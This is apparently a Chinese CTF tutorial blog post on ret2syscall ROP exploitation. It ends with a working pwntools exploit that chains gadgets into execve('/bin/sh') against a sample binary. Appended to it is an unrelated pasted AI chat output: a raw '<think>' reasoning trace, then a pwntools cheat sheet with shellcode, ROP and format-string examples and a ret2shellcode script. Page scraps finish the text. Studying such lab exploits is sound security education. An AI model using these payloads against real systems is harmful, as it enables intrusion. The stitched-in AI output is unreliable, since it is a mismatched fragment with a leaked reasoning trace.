基本ROP(三)

每日一结【第3天】

由于个人水平有限,所以相当一部分是引用CTF Wiki(再次安利一波)

ret2syscall

原理:
ret2syscall需要我们控制程序执行系统调用,获取shell。

样例:rop

前期基本的操作之前两篇已经讲了,这里就直接上图了
这里写图片描述

这里写图片描述

我们这次把程序扔到IDA里㕛有新的发现了
这里写图片描述
这里写图片描述

此次我们利用程序中的gadgets来获得shell,而对应的shell获取则是利用系统调用。简单地说,只要我们把对应获取shell的系统调用的参数放到对应的寄存器中,那么我们在执行int 0x80就可执行对应的系统调用。这里我们利用如下系统调用来获取shell –> execve(“/bin/sh”,NULL,NULL)
其中,该程序是32位,所以我们需要使得

系统调用号即eax应该为0xb
第一个参数即ebx应该指向/bin/sh的地址,其实执行sh的地址也可以
第二个参数即ecx应该为0
第三个参数edx应该为0

而我们如何控制这些寄存器的值 呢?这里就需要使用gadgets。比如说,现在栈顶是10,那么如果此时执行了pop eax,那么现在eax的值就为10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在gadgets最后使用ret来再次控制程序执行流程的原因。具体寻找gadgets的方法,我们可以使用ropgadgets这个工具。

现在我们先寻找eax的gadgets
这里写图片描述
然后使用同样的方法获得其他寄存器的gadgets
这里写图片描述
这里我们可以选用0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 直接控制其他几个寄存器
再来获取一下/bin/sh的地址和int 0x80地址
这里写图片描述

万事俱备,只欠exp
exp:

from pwn import *

r = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
r.sendline(payload)
r.interactive()

这里写图片描述

<think>我们被要求使用中文回答,并且根据提供的引用内容来回答用户关于pwntools库的基本指令和用法的问题。用户的问题:我想了解pwntools库的基本指令和用法根据引用[1][2][3][4],我们可以总结pwntools的一些基本功能和用法。引用[1]提到:pwntools是一整套pwn工具集,包括方便的IO交互函数,ROP、格式化字符串等利用的自动化工具,shellcode生成器等。引用[2]提到:Pwntools拥有本地执行、远程连接读写、shellcode生成、ROP链构建、ELF文件解析、符号泄露等众多强大的功能。引用[3]给出了一些基本的使用方法:引入库、设置上下文、IO交互、payload构造、信息泄露、shellcode生成等。引用[4]展示了一个ret2shellcode的利用脚本,其中包含context设置、连接本地程序、生成shellcode、构造payload等。因此,我们可以按照以下结构组织回答:1.引入pwntools库2.设置上下文(context)3.建立连接(本地或远程)4.进程交互(发送数据、接收数据等)5.常用工具(shellcode生成,ROP,ELF解析等)注意:用户的问题是基本指令和用法,所以我们重点介绍基本操作,并给出一个简单示例。同时,我们还需要根据系统级指令要求:-行内数学表达式用$...$(但本问题可能不涉及数学表达式)-独立公式用$$...$$(同样,本问题可能不涉及)-LaTeX语法正确(这里主要是代码块)-使用中文-生成相关问题-引用的段落末尾添加引用标识由于用户的问题是基于提供的引用,我们将引用信息融入回答中,并在适当位置添加引用标识。回答结构:一、pwntools简介二、基本用法1.引入库2.设置上下文3.建立连接4.发送和接收数据5.其他常用功能(如生成shellcode、ROP等)、示例代码(一个简单的本地利用)四、相关问题注意:我们给出的示例代码将基于引用[4]中的ret2shellcode示例,但会简化以突出基本指令。</think> ### pwntools库的基本指令与使用方法 #### 一、基础环境设置 1. **引入库与上下文配置** ```python from pwn import * # 核心库导入 context(os=&#39;linux&#39;, arch=&#39;amd64&#39;, log_level=&#39;debug&#39;) # 设置OS、架构和日志级别[^4] ``` - `os`: 目标系统(通常为`linux`) - `arch`: CPU架构(`amd64`/`i386`) - `log_level`: 调试日志等级(`debug`显示完整IO过程) #### 二、进程交互操作 2. **连接控制** ```python io = process(&#39;./binary&#39;) # 本地程序连接[^4] io = remote(&#39;127.0.0.1&#39;, 4444) # 远程连接(IP+端口)[^2] ``` 3. **数据读写** ```python io.send(b&#39;data&#39;) # 发送原始字节 io.sendline(b&#39;data&#39;) # 发送数据+换行符 print(io.recv(1024)) # 接收1024字节 io.interactive() # 进入交互式shell[^4] ``` #### 、核心功能模块 4. **ELF解析** ```python elf = ELF(&#39;./binary&#39;) print(hex(elf.symbols[&#39;main&#39;])) # 获取函数地址 print(hex(elf.got[&#39;puts&#39;])) # 获取GOT表地址 ``` 5. **Shellcode生成** ```python shellcode = asm(shellcraft.sh()) # 生成/bin/sh的shellcode[^4] ``` 6. **ROP链构建** ```python rop = ROP(elf) rop.call(&#39;puts&#39;, [elf.got[&#39;puts&#39;]]) rop.call(&#39;main&#39;) print(rop.chain()) # 生成ROP链 ``` #### 四、内存操作工具 7. **封包函数** ```python p32(0x804a080) # 将地址转为小端序4字节(32位) p64(0x804a080) # 小端序8字节(64位) ``` 8. **格式化字符串利用** ```python fmt = FmtStr(offset=6) fmt.write(0x0804c044, 0xdeadbeef) # 向指定地址写入数据 ``` #### 五、基础利用示例(本地ret2shellcode) ```python context(os=&#39;linux&#39;, arch=&#39;i386&#39;, log_level=&#39;debug&#39;) io = process(&#39;./vuln&#39;) buf_addr = 0x0804a080 # 可执行内存地址 shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(112, b&#39;A&#39;) + p32(buf_addr) io.sendline(payload) io.interactive() # 获取shell[^4] ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值